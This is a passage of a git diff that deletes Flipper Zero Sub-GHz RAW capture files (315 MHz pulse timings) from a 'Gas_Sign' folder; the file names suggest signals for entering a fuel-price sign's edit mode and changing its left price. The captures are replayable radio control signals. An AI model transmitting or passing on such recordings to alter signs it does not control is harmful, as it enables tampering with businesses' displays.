369 -96 123 -366 131 -328 123 -374 95 -372 127 -3716 105 -338 129 -360 123 -360 327 -122 361 -104 359 -108 339 -124 357 -106 141 -360 329 -126 347 -94 369 -96 123 -366 131 -332 123 -374 351 -102 141 -364 105 -336 371 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3714 105 -370 99 -364 123 -360 327 -122 357 -140 359 -108 335 -94 375 -94 121 -370 355 -106 347 -104 365 -92 139 -340 129 -360 123 -338 349 -132 139 -362 105 -336 367 -108 339 -126 97 -370 141 -334 125 -352 125 -340 127 -3712 139 -336 135 -330 123 -360 327 -122 371 -94 369 -96 369 -96 369 -94 123 -356 345 -132 333 -122 369 -96 121 -370 101 -368 125 -350 349 -104 141 -364 105 -336 373 -108 339 -128 95 -372 141 -334 125 -352 125 -338 129 -3706 123 -356 139 -334 125 -350 349 -104 339 -124 371 -96 369 -96 369 -96 125 -370 327 -142 335 -96 379 -94 121 -372 101 -368 125 -350 351 -104 143 -362 105 -336 375 -106 339 -128 97 -382 91 -378 101 -368 125 -350 125 -3704 127 -344 125 -352 139 -334 363 -110 339 -128 349 -94 367 -98 369 -96 125 -370 361 -108 337 -94 379 -94 121 -372 103 -368 125 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3712 139 -338 97 -366 121 -360 329 -120 357 -140 361 -108 335 -96 343 -126 121 -370 353 -106 347 -104 365 -92 139 -342 127 -360 125 -338 349 -132 139 -362 105 -334 369 -108 337 -128 95 -372 139 -336 123 -352 125 -340 129 -3710 139 -338 133 -330 123 -360 327 -122 371 -94 369 -96 371 -96 367 -94 125 -354 347 -132 333 -122 369 -96 121 -370 101 -368 123 -350 351 -104 143 -362 105 -336 373 -108 337 -130 95 -382 93 -376 -RAW_Data: 103 -368 125 -350 125 -3706 135 -350 105 -336 125 -386 325 -124 349 -94 369 -96 369 -96 369 -126 93 -358 345 -134 333 -122 369 -96 121 -372 101 -368 123 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3710 141 -336 133 -332 121 -360 329 -122 369 -94 369 -98 369 -96 367 -94 125 -354 347 -132 333 -124 367 -96 121 -372 101 -368 123 -350 349 -104 143 -362 105 -336 373 -108 339 -128 97 -382 91 -378 103 -368 123 -350 125 -3702 127 -344 123 -356 139 -334 365 -110 339 -94 381 -94 367 -98 369 -96 125 -370 361 -108 337 -94 381 -94 121 -372 101 -368 125 -352 351 -102 143 -362 105 -336 375 -106 339 -128 97 -384 91 -378 103 -368 91 -384 93 -3734 127 -344 139 -338 133 -332 349 -142 335 -94 375 -94 369 -96 371 -96 125 -370 361 -108 335 -94 381 -94 121 -372 137 -332 125 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -382 93 -376 103 -368 123 -352 125 -3706 135 -350 105 -338 123 -386 325 -124 349 -94 369 -96 369 -96 369 -94 123 -360 345 -134 333 -122 369 -96 121 -372 101 -368 123 -350 351 -104 143 -362 105 -336 375 -106 339 -128 95 -372 141 -334 125 -350 125 -340 127 -3708 123 -356 139 -334 125 -350 349 -106 337 -124 371 -94 371 -96 369 -96 125 -370 327 -142 335 -96 379 -94 121 -372 101 -370 123 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -382 91 -378 103 -368 125 -350 125 -3710 103 -380 105 -336 123 -354 361 -122 347 -94 369 -96 369 -96 369 -94 125 -358 345 -132 335 -122 369 -96 121 -370 101 -368 125 -350 351 -104 141 -362 105 -338 373 -108 339 -128 95 -384 91 -378 101 -368 125 -350 125 -3702 127 -344 123 -354 139 -336 365 -108 339 -128 349 -94 369 -96 369 -96 125 -370 363 -106 337 -94 379 -94 121 -372 139 -332 125 -352 349 -104 141 -364 105 -336 375 -108 337 -130 95 -372 141 -334 125 -350 125 -340 129 -3710 141 -336 99 -366 121 -360 329 -120 371 -94 369 -98 369 -96 367 -94 125 -354 347 -132 333 -122 369 -96 121 -370 101 -368 125 -348 351 -104 141 -364 105 -336 373 -108 339 -128 95 -372 139 -334 125 -352 125 -340 129 -3704 125 -358 139 -334 123 -352 349 -104 339 -122 371 -96 369 -96 369 -96 125 -370 327 -142 335 -96 379 -94 121 -372 101 -368 125 -352 349 -104 143 -362 105 -336 375 -106 339 -128 97 -382 91 -378 103 -368 123 -352 125 -3708 103 -382 105 -336 123 -386 -RAW_Data: 325 -126 347 -94 369 -96 369 -96 369 -94 123 -360 345 -134 333 -124 369 -94 121 -372 101 -368 123 -352 349 -104 143 -362 105 -336 375 -106 339 -128 97 -382 91 -378 101 -368 125 -350 125 -3712 101 -382 105 -336 123 -354 361 -122 347 -94 369 -96 369 -96 369 -94 123 -358 347 -134 333 -122 369 -96 121 -370 103 -366 125 -350 351 -104 141 -364 105 -336 373 -108 339 -128 95 -382 105 -370 97 -362 123 -340 127 -3710 139 -340 135 -336 121 -360 359 -92 389 -104 361 -108 337 -94 377 -94 121 -372 353 -106 347 -106 365 -92 139 -340 129 -360 123 -340 347 -134 139 -360 105 -336 369 -108 337 -128 95 -372 139 -336 125 -350 125 -340 129 -3706 139 -338 135 -332 121 -340 381 -102 337 -122 339 -126 369 -96 337 -128 125 -340 359 -140 335 -96 377 -94 121 -372 101 -368 125 -352 351 -102 143 -362 105 -338 373 -108 337 -128 97 -382 93 -376 103 -368 123 -352 125 -3708 103 -382 105 -336 123 -388 325 -124 349 -94 367 -96 369 -96 369 -126 95 -358 345 -134 333 -122 371 -94 121 -370 103 -366 125 -350 351 -102 143 -362 105 -338 373 -108 337 -128 97 -382 93 -378 101 -368 93 -382 95 -3746 103 -380 103 -336 123 -356 359 -92 377 -94 391 -104 359 -108 333 -124 109 -342 375 -108 337 -130 353 -94 121 -372 137 -334 125 -350 351 -104 143 -362 105 -336 375 -108 337 -128 97 -382 93 -378 101 -368 93 -382 95 -3742 103 -382 103 -336 123 -354 361 -124 345 -94 369 -96 371 -96 369 -94 123 -370 359 -96 359 -122 337 -128 93 -368 131 -332 123 -378 349 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -354 93 -370 129 -3706 141 -338 133 -332 123 -370 349 -104 335 -122 339 -126 337 -130 337 -128 125 -344 353 -142 333 -94 379 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -338 373 -106 339 -128 97 -382 91 -380 101 -368 123 -352 93 -3738 135 -350 105 -338 123 -386 327 -124 349 -92 369 -128 339 -96 369 -94 125 -368 329 -128 357 -124 337 -128 93 -368 131 -334 121 -378 351 -102 141 -362 105 -334 371 -108 337 -128 97 -382 105 -370 97 -362 123 -372 95 -3708 137 -342 137 -334 123 -360 359 -90 391 -106 359 -108 337 -94 347 -126 121 -372 353 -104 347 -138 331 -92 139 -342 129 -358 125 -340 349 -132 103 -396 105 -334 367 -108 337 -128 97 -384 91 -378 103 -366 93 -382 95 -3736 137 -348 105 -336 125 -386 325 -124 349 -94 369 -96 369 -96 369 -94 123 -358 -RAW_Data: 345 -134 333 -122 371 -94 123 -370 101 -368 123 -350 351 -104 141 -362 105 -338 373 -106 339 -128 97 -382 93 -376 103 -368 123 -350 127 -3708 103 -382 105 -336 123 -386 325 -124 349 -94 367 -96 371 -96 367 -94 125 -358 345 -134 333 -122 371 -94 121 -372 103 -366 93 -382 351 -104 141 -362 105 -336 373 -106 337 -130 95 -382 93 -380 101 -368 93 -384 93 -3746 103 -380 103 -336 123 -354 359 -92 377 -94 369 -96 369 -96 369 -94 125 -368 359 -96 359 -124 337 -128 93 -368 129 -334 123 -378 351 -102 141 -362 105 -334 371 -108 337 -128 97 -382 91 -380 103 -368 91 -384 93 -3736 125 -346 123 -350 139 -336 365 -108 339 -96 379 -94 369 -96 369 -96 125 -370 361 -108 337 -94 379 -94 121 -372 103 -368 123 -352 349 -104 143 -362 105 -336 375 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3716 105 -370 99 -362 123 -360 327 -122 359 -104 359 -108 371 -94 373 -94 121 -372 355 -104 349 -104 363 -92 139 -340 129 -358 125 -360 327 -122 121 -350 123 -342 387 -106 345 -102 135 -356 107 -338 123 -384 103 -360 diff --git a/assets/resources/subghz/Gas_Sign/Edit_mode.sub b/assets/resources/subghz/Gas_Sign/Edit_mode.sub deleted file mode 100644 index fadfa8e87..000000000 --- a/assets/resources/subghz/Gas_Sign/Edit_mode.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 231 -533 361 -59382 63 -6370 65 -430 63 -4582 65 -494 65 -92428 133 -2546 65 -3216 165 -2586 97 -1230 65 -86114 165 -2666 129 -2338 129 -3882 65 -296 129 -58042 99 -30630 99 -5028 129 -1390 295 -266 63 -132 133 -626 165 -298 131 -166 67 -1694 97 -166 131 -1960 165 -166 99 -1880 231 -564 165 -1748 195 -5158 65 -79774 65 -1862 197 -360 101 -354 107 -368 329 -138 337 -128 323 -158 323 -138 357 -108 105 -396 317 -138 357 -106 335 -124 107 -376 99 -366 123 -354 357 -124 95 -368 141 -334 127 -356 93 -370 129 -372 97 -372 315 -156 347 -94 121 -3716 133 -356 101 -394 107 -334 369 -106 337 -130 357 -124 361 -104 357 -108 141 -362 317 -140 359 -108 335 -124 145 -340 97 -364 123 -360 329 -122 139 -344 137 -334 121 -390 101 -360 105 -370 99 -362 351 -138 335 -126 95 -3714 131 -360 125 -338 129 -340 347 -126 357 -124 337 -126 371 -96 369 -98 125 -370 361 -108 337 -128 355 -94 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 99 -362 123 -338 129 -372 95 -372 347 -126 347 -126 89 -3718 131 -352 137 -360 105 -336 377 -106 337 -132 357 -124 359 -104 357 -108 143 -362 353 -104 359 -108 335 -124 145 -342 97 -364 123 -360 327 -124 139 -344 137 -334 123 -388 101 -360 105 -372 97 -362 351 -140 333 -126 95 -3726 131 -368 105 -360 103 -382 357 -106 341 -102 363 -122 361 -104 357 -108 141 -364 353 -104 359 -108 335 -124 145 -342 99 -362 125 -360 327 -124 139 -344 135 -334 123 -388 101 -360 105 -370 99 -362 351 -138 335 -128 95 -3716 131 -360 93 -392 101 -358 357 -104 387 -106 335 -124 359 -104 359 -106 143 -362 353 -104 359 -108 335 -124 143 -344 99 -364 123 -358 359 -92 125 -364 141 -336 125 -356 123 -340 127 -372 97 -372 347 -92 379 -94 121 -3744 97 -382 103 -360 105 -370 345 -106 373 -100 359 -124 337 -130 337 -128 125 -336 369 -106 373 -98 361 -124 89 -378 137 -336 125 -354 351 -138 107 -362 105 -370 97 -364 123 -338 129 -370 97 -372 347 -124 349 -126 89 -3746 99 -380 103 -360 103 -372 347 -106 371 -100 361 -74182 139 -334 127 -356 125 -360 327 -124 355 -138 361 -106 337 -128 351 -94 121 -374 351 -138 351 -106 335 -124 145 -340 99 -362 125 -372 317 -134 139 -362 105 -336 129 -358 93 -370 129 -372 97 -372 347 -124 347 -126 91 -3712 129 -352 137 -360 105 -370 343 -106 371 -98 359 -124 361 -102 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -364 123 -360 -RAW_Data: 329 -122 123 -362 139 -336 127 -354 125 -338 129 -372 95 -372 347 -124 349 -124 91 -3716 133 -350 137 -360 105 -338 375 -106 371 -98 359 -124 361 -104 357 -108 141 -362 353 -106 359 -106 335 -126 143 -342 99 -364 123 -360 327 -124 139 -344 137 -336 123 -356 135 -360 105 -372 97 -362 349 -140 333 -126 95 -3724 131 -372 103 -362 103 -382 357 -106 341 -102 363 -124 359 -104 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -366 123 -358 357 -92 139 -378 103 -336 123 -386 101 -360 105 -372 99 -364 351 -140 335 -126 97 -3724 131 -356 93 -392 101 -358 357 -106 351 -142 333 -122 361 -104 357 -108 143 -362 353 -104 359 -108 335 -124 143 -342 133 -332 123 -356 359 -92 125 -368 139 -336 127 -354 125 -338 129 -370 97 -372 347 -124 347 -126 89 -3752 97 -350 137 -360 105 -370 345 -106 371 -98 361 -124 359 -104 357 -108 141 -362 353 -106 359 -106 337 -124 143 -342 99 -364 123 -360 329 -122 139 -344 137 -336 123 -356 137 -360 105 -370 97 -362 349 -140 335 -126 95 -3720 133 -372 103 -362 103 -384 351 -94 359 -106 367 -94 375 -94 371 -96 123 -368 375 -94 361 -106 369 -92 125 -362 141 -334 125 -354 351 -138 107 -122648 139 -338 133 -332 123 -372 349 -102 337 -124 383 -106 359 -106 339 -130 133 -348 353 -124 343 -142 335 -98 135 -346 123 -356 139 -334 367 -92 121 -372 127 -340 129 -340 127 -338 125 -366 125 -344 379 -94 365 -104 143 -3696 131 -354 93 -370 129 -340 347 -124 355 -124 337 -128 337 -130 337 -128 127 -372 325 -142 335 -128 353 -126 89 -376 137 -334 125 -354 349 -140 105 -364 105 -370 97 -364 123 -372 95 -372 97 -372 347 -124 349 -126 89 -3748 97 -382 103 -360 105 -372 345 -106 371 -100 359 -124 359 -104 359 -108 141 -362 351 -106 359 -106 337 -124 143 -342 99 -366 123 -358 359 -92 125 -366 139 -334 127 -356 123 -340 127 -372 97 -372 347 -124 347 -126 89 -3744 97 -350 127 -370 97 -372 347 -124 351 -126 337 -128 337 -130 337 -128 127 -344 353 -140 335 -126 353 -94 121 -374 139 -334 125 -354 351 -138 107 -362 105 -370 97 -362 125 -338 129 -370 97 -372 347 -124 351 -124 91 -3742 99 -350 125 -372 97 -370 349 -124 351 -124 337 -128 339 -128 337 -128 127 -344 355 -140 335 -128 351 -94 121 -376 137 -334 125 -354 351 -140 105 -362 105 -372 97 -362 123 -340 127 -372 97 -372 347 -124 349 -126 89 -3744 99 -350 127 -370 97 -372 347 -124 -RAW_Data: 351 -124 337 -128 339 -128 339 -128 125 -344 355 -140 335 -126 351 -94 121 -376 139 -334 125 -354 349 -140 105 -362 105 -372 97 -362 123 -372 95 -372 97 -372 345 -126 351 -124 91 -3744 99 -358 137 -360 103 -380 357 -106 341 -102 363 -124 359 -104 359 -106 143 -362 353 -104 359 -108 335 -124 143 -342 99 -366 123 -358 357 -92 139 -378 105 -334 123 -388 103 -360 103 -372 97 -364 351 -140 335 -126 97 -96344 165 -326 139 -360 107 -336 355 -140 335 -126 351 -94 369 -128 339 -128 95 -366 367 -106 371 -98 359 -124 91 -376 139 -334 125 -356 351 -138 105 -364 103 -372 97 -362 125 -338 129 -372 95 -372 347 -124 349 -126 89 -3718 133 -350 137 -360 105 -370 343 -106 371 -98 359 -124 361 -104 357 -108 141 -362 353 -104 359 -108 335 -124 145 -342 99 -364 123 -358 327 -122 139 -378 103 -336 123 -386 103 -360 103 -372 99 -364 351 -140 335 -126 97 -3748 97 -360 93 -372 127 -340 347 -126 357 -124 337 -128 369 -98 369 -96 127 -368 363 -106 337 -130 355 -94 139 -342 129 -360 125 -338 349 -134 139 -362 105 -336 129 -356 125 -338 129 -372 95 -372 347 -124 349 -124 91 -3746 99 -382 103 -362 103 -372 347 -106 371 -100 359 -124 337 -130 337 -130 123 -336 371 -106 371 -100 359 -124 121 -346 139 -334 125 -356 351 -138 107 -362 105 -370 99 -362 123 -340 127 -372 97 -372 345 -126 351 -124 91 -3742 97 -352 125 -372 129 -338 347 -126 351 -126 337 -128 337 -130 337 -128 127 -342 355 -140 335 -128 351 -126 89 -376 137 -334 125 -356 349 -140 105 -364 105 -370 97 -362 125 -338 127 -372 97 -372 347 -124 351 -124 91 -3748 99 -382 103 -360 103 -370 347 -106 373 -98 361 -124 359 -104 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -364 123 -360 329 -122 123 -362 139 -336 127 -356 123 -340 127 -372 97 -372 347 -124 347 -94 121 -3742 99 -350 125 -372 95 -372 347 -124 351 -126 337 -128 337 -128 339 -126 127 -342 355 -140 335 -128 129 -118362 177 -302 127 -358 125 -360 327 -124 387 -104 361 -106 337 -130 353 -94 121 -374 353 -104 387 -106 335 -124 145 -340 99 -364 123 -372 317 -132 141 -362 105 -336 129 -358 125 -340 127 -372 95 -372 347 -124 347 -126 89 -3746 99 -382 101 -362 103 -370 347 -142 337 -98 361 -124 361 -104 357 -108 141 -362 351 -106 359 -106 335 -124 143 -340 135 -334 123 -356 359 -124 93 -368 141 -334 127 -356 125 -338 127 -372 97 -372 347 -124 -RAW_Data: 349 -124 91 -3744 99 -348 127 -370 97 -372 347 -124 351 -124 337 -130 337 -130 337 -128 125 -344 355 -138 335 -128 351 -124 91 -376 137 -334 125 -354 351 -138 107 -362 105 -370 99 -362 123 -370 97 -372 95 -372 347 -124 351 -126 89 -3748 99 -356 137 -360 103 -380 357 -106 341 -102 365 -122 361 -104 357 -108 141 -362 353 -106 359 -106 337 -124 143 -342 133 -330 123 -360 359 -92 139 -378 103 -336 123 -386 101 -360 105 -372 97 -366 351 -140 333 -128 95 -3726 131 -372 105 -360 103 -382 357 -106 343 -102 363 -124 339 -128 337 -130 123 -336 371 -94 385 -102 337 -124 139 -344 137 -334 123 -374 351 -102 141 -346 125 -346 123 -354 137 -334 125 -354 125 -360 327 -124 355 -138 105 -3706 127 -340 125 -364 139 -334 367 -106 339 -130 357 -124 359 -104 359 -108 141 -362 353 -106 359 -106 335 -124 145 -342 99 -364 123 -360 327 -124 123 -360 141 -336 125 -356 125 -338 129 -372 95 -372 347 -124 349 -124 91 -3748 99 -384 101 -360 105 -370 347 -106 371 -100 361 -124 359 -104 357 -108 141 -362 353 -106 359 -106 337 -124 143 -342 99 -364 123 -360 329 -122 139 -344 137 -336 123 -390 103 -360 103 -372 97 -362 351 -140 333 -126 95 -3718 133 -360 91 -392 101 -358 357 -106 387 -106 333 -124 255 -224792 67 -200 65 -2734 65 -2234 131 -11394 133 -28456 65 -165008 99 -8274 65 -94568 99 -1808 65 -960 131 -3072 65 -91020 65 -2010 129 -1782 133 -1952 65 -526 65 -66 97 -198 65 -47550 65 -13086 99 -1890 165 -58100 99 -764 65 -598 131 -1556 99 -9878 67 -2616 65 -4974 165 -232 99 -498 299 -530 163 -68 97 -466 165 -566 65 -230 99 -164 97 -594 197 -1708 65 -132 65 -328 97 -728 165 -1882 261 -232 65 -662 65 -9222 65 -11988 65 -17800 163 -6502 97 -132 231 -49234 65 -19704 97 -230 133 -3066 131 -2044 229 -494 131 -9672 diff --git a/assets/resources/subghz/Gas_Sign/Left_gas.sub b/assets/resources/subghz/Gas_Sign/Left_gas.sub deleted file mode 100644 index 1157fe5ba..000000000 --- a/assets/resources/subghz/Gas_Sign/Left_gas.sub +++ /dev/null @@ -1,48 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 93 -671 361 -1140792 203 -298 151 -338 125 -338 375 -104 339 -122 361 -104 359 -108 337 -124 145 -340 347 -106 339 -130 335 -142 107 -342 123 -358 103 -394 317 -142 105 -356 95 -370 97 -372 125 -346 351 -106 359 -106 143 -362 105 -334 129 -3690 135 -350 105 -368 91 -384 325 -126 349 -94 391 -104 359 -108 335 -122 109 -342 375 -108 337 -130 319 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -334 129 -356 93 -372 347 -132 329 -122 121 -348 137 -334 127 -3686 129 -340 125 -358 139 -334 363 -108 339 -128 329 -138 325 -142 341 -100 135 -350 355 -106 347 -138 329 -124 89 -376 101 -368 93 -396 329 -134 101 -394 69 -370 93 -394 103 -360 345 -108 361 -106 105 -398 69 -372 101 -3732 99 -356 107 -368 93 -384 349 -102 335 -124 339 -128 337 -128 337 -128 127 -344 355 -140 333 -94 343 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 349 -130 329 -122 121 -348 139 -334 125 -3690 135 -352 105 -338 123 -384 327 -124 351 -94 369 -96 369 -96 369 -94 125 -356 345 -134 331 -124 337 -126 123 -338 133 -366 91 -380 351 -102 141 -362 105 -336 127 -356 95 -370 349 -130 329 -124 121 -348 137 -334 125 -3694 135 -350 105 -336 125 -382 327 -126 349 -94 369 -96 369 -96 371 -94 125 -370 327 -126 357 -124 337 -128 91 -368 131 -332 123 -376 317 -134 141 -362 103 -336 125 -356 93 -372 347 -132 329 -124 119 -348 139 -334 127 -3690 135 -352 105 -338 123 -384 327 -124 349 -94 369 -96 371 -96 369 -94 125 -370 327 -128 355 -124 337 -128 93 -368 129 -332 123 -376 319 -134 139 -362 105 -334 127 -356 93 -372 347 -132 329 -122 121 -348 139 -334 125 -3694 135 -350 105 -336 125 -384 325 -126 351 -94 369 -96 369 -96 369 -94 125 -356 347 -132 331 -124 337 -128 121 -370 101 -366 93 -380 349 -104 141 -362 105 -334 127 -356 93 -370 349 -132 329 -124 121 -348 137 -336 125 -3694 135 -350 105 -338 123 -384 327 -124 349 -94 369 -96 371 -96 369 -94 125 -370 327 -126 357 -124 337 -128 91 -368 131 -332 123 -376 349 -102 141 -362 105 -334 127 -356 95 -370 349 -130 329 -124 121 -348 137 -336 125 -3684 127 -340 125 -364 139 -336 363 -108 339 -128 319 -126 337 -130 337 -128 125 -346 355 -140 301 -156 315 -126 121 -372 101 -368 93 -382 319 -134 105 -398 105 -334 127 -358 93 -370 349 -132 329 -124 89 -378 137 -334 127 -3686 133 -354 107 -368 93 -380 327 -126 -RAW_Data: 355 -94 369 -128 337 -128 337 -126 93 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -376 317 -134 141 -362 105 -336 127 -356 93 -370 349 -132 327 -124 121 -348 137 -336 125 -3690 135 -354 105 -338 123 -384 327 -124 351 -92 369 -130 337 -128 337 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -376 319 -134 139 -362 105 -334 127 -356 93 -372 347 -132 329 -122 121 -348 137 -336 125 -3714 97 -370 95 -364 141 -334 365 -108 339 -128 319 -124 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -366 93 -382 319 -136 103 -398 105 -336 127 -356 95 -370 349 -132 327 -124 91 -378 137 -334 127 -3684 129 -340 125 -362 139 -334 365 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -372 349 -130 329 -124 119 -348 139 -334 125 -3692 135 -352 107 -368 93 -384 327 -124 351 -94 369 -128 337 -96 369 -96 125 -368 329 -126 357 -124 337 -128 93 -368 129 -334 121 -378 317 -134 141 -360 105 -336 127 -356 93 -370 349 -132 329 -124 119 -348 139 -334 127 -3686 135 -354 105 -370 93 -380 327 -126 355 -126 337 -128 339 -128 305 -158 93 -358 347 -132 331 -124 339 -128 91 -370 131 -366 91 -380 319 -134 105 -398 105 -334 127 -358 93 -372 349 -130 329 -124 91 -378 137 -334 125 -3718 101 -356 107 -368 93 -382 349 -102 335 -122 341 -126 339 -128 337 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 137 -334 127 -3718 101 -356 107 -368 93 -380 349 -102 337 -124 343 -126 337 -130 337 -128 125 -348 353 -140 301 -126 343 -126 123 -372 101 -366 93 -382 319 -134 105 -396 105 -336 127 -358 93 -372 349 -130 329 -124 89 -378 139 -334 127 -3688 133 -356 105 -368 93 -380 327 -128 353 -92 369 -128 339 -128 337 -126 93 -368 329 -128 357 -124 337 -128 91 -368 131 -334 123 -376 317 -134 141 -360 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 137 -334 127 -3688 135 -354 105 -370 93 -380 327 -126 355 -124 339 -128 337 -128 337 -126 93 -370 327 -126 359 -124 337 -130 91 -368 131 -362 93 -378 319 -132 105 -396 105 -336 127 -356 93 -370 349 -132 329 -124 89 -378 137 -336 125 -3688 135 -354 107 -368 93 -380 327 -126 355 -92 369 -128 339 -128 337 -126 93 -368 329 -126 -RAW_Data: 359 -124 337 -128 91 -368 131 -334 121 -378 317 -134 141 -362 105 -334 127 -356 95 -370 349 -130 329 -124 121 -348 139 -334 125 -3690 133 -356 105 -368 93 -382 327 -126 355 -124 339 -128 337 -128 307 -156 95 -368 327 -128 357 -124 337 -130 91 -368 131 -332 123 -378 319 -132 105 -396 105 -334 127 -356 93 -372 349 -130 329 -124 89 -380 137 -334 127 -3716 97 -338 125 -364 139 -334 367 -108 337 -128 319 -126 369 -96 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -364 105 -334 129 -356 93 -370 349 -132 329 -124 119 -350 137 -334 127 -3694 133 -354 105 -338 125 -384 327 -124 351 -94 369 -96 369 -96 369 -96 125 -368 329 -126 357 -124 337 -128 93 -368 129 -334 121 -376 319 -134 139 -362 105 -336 127 -356 93 -372 349 -130 329 -124 121 -348 137 -336 125 -3692 135 -354 107 -336 125 -384 327 -124 349 -94 369 -130 337 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -376 319 -134 141 -360 105 -336 127 -356 93 -372 349 -130 329 -124 119 -350 137 -334 127 -3720 101 -356 107 -368 93 -380 329 -126 353 -126 337 -128 337 -130 337 -126 93 -368 327 -128 359 -124 337 -128 93 -368 131 -332 123 -376 319 -134 103 -398 103 -336 127 -356 93 -372 349 -130 329 -124 91 -378 139 -334 127 -3688 135 -354 107 -368 93 -380 329 -126 353 -92 369 -128 339 -128 337 -126 93 -370 327 -128 357 -122 339 -128 91 -368 131 -332 123 -378 317 -134 141 -362 105 -334 127 -358 93 -370 349 -132 329 -122 121 -348 139 -334 127 -3718 101 -356 105 -370 93 -380 349 -104 337 -124 341 -126 339 -128 337 -128 127 -346 353 -140 301 -126 345 -126 121 -372 101 -368 91 -384 319 -134 139 -362 105 -336 127 -358 93 -372 349 -130 329 -124 91 -378 137 -336 125 -3692 135 -354 105 -370 93 -380 327 -126 353 -94 367 -130 337 -128 337 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -378 317 -134 141 -362 105 -336 127 -356 93 -372 349 -130 329 -124 119 -348 139 -334 127 -3720 99 -356 107 -368 93 -382 349 -104 337 -124 341 -126 337 -130 337 -128 125 -348 353 -138 301 -126 345 -126 121 -372 101 -368 93 -382 319 -136 139 -362 105 -336 127 -356 95 -370 349 -132 329 -124 91 -378 137 -336 125 -3688 129 -340 125 -362 139 -334 365 -108 337 -128 319 -126 369 -96 337 -128 127 -372 325 -140 337 -126 315 -126 121 -372 101 -368 93 -382 351 -104 -RAW_Data: 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3690 135 -354 107 -368 93 -392 329 -132 329 -124 337 -128 337 -128 337 -128 93 -384 349 -104 335 -124 341 -126 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 139 -336 125 -3698 135 -350 105 -338 123 -384 327 -126 351 -94 369 -96 369 -96 369 -94 125 -370 327 -128 357 -124 337 -128 91 -368 131 -332 123 -378 317 -136 139 -362 105 -336 127 -354 95 -370 349 -130 329 -124 119 -350 139 -334 125 -3720 101 -356 105 -370 93 -380 349 -104 337 -124 339 -128 337 -128 337 -128 127 -344 355 -138 335 -94 345 -126 123 -372 101 -368 91 -384 349 -102 143 -362 105 -334 129 -356 93 -370 349 -132 331 -122 121 -348 139 -334 125 -3692 135 -354 105 -370 93 -380 327 -126 355 -124 337 -128 339 -128 337 -126 93 -368 327 -128 359 -124 339 -128 91 -370 129 -364 93 -378 317 -134 103 -398 103 -336 127 -358 93 -370 349 -132 329 -124 89 -380 137 -334 127 -3718 99 -356 107 -368 93 -384 349 -104 335 -124 341 -126 337 -128 339 -126 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -334 129 -358 93 -370 349 -132 329 -124 119 -350 137 -336 125 -3714 97 -370 93 -368 141 -334 367 -108 339 -128 319 -124 337 -130 337 -128 127 -374 325 -140 335 -126 315 -126 123 -372 101 -366 93 -384 317 -136 139 -362 105 -336 127 -356 95 -370 349 -132 329 -124 89 -380 139 -334 125 -3692 135 -354 107 -368 93 -382 327 -126 351 -94 369 -128 339 -128 337 -126 93 -368 329 -126 359 -124 337 -128 91 -368 131 -332 123 -378 317 -134 141 -362 105 -334 127 -358 93 -372 349 -130 331 -122 121 -348 137 -336 125 -3722 99 -356 107 -368 93 -380 349 -104 337 -124 341 -126 337 -128 339 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 331 -124 119 -350 139 -334 125 -3694 133 -356 105 -370 93 -382 327 -124 353 -94 391 -104 357 -108 335 -124 109 -374 345 -106 337 -130 355 -94 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3718 101 -356 141 -334 125 -352 349 -104 337 -124 341 -128 337 -128 337 -128 127 -346 355 -138 303 -124 347 -126 121 -372 101 -366 93 -382 319 -134 141 -362 105 -336 127 -358 95 -370 349 -132 327 -124 -RAW_Data: 91 -380 137 -334 127 -3718 99 -356 107 -370 93 -382 349 -104 335 -124 341 -126 337 -128 339 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 119 -350 137 -334 127 -3722 99 -356 107 -370 93 -380 349 -104 337 -124 341 -126 337 -130 337 -128 127 -346 353 -140 301 -156 315 -126 121 -372 101 -368 91 -384 319 -134 141 -362 105 -334 129 -356 93 -372 349 -132 329 -124 89 -380 137 -334 127 -3720 101 -356 105 -370 93 -382 351 -102 335 -124 341 -126 337 -128 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -372 103 -362 347 -108 361 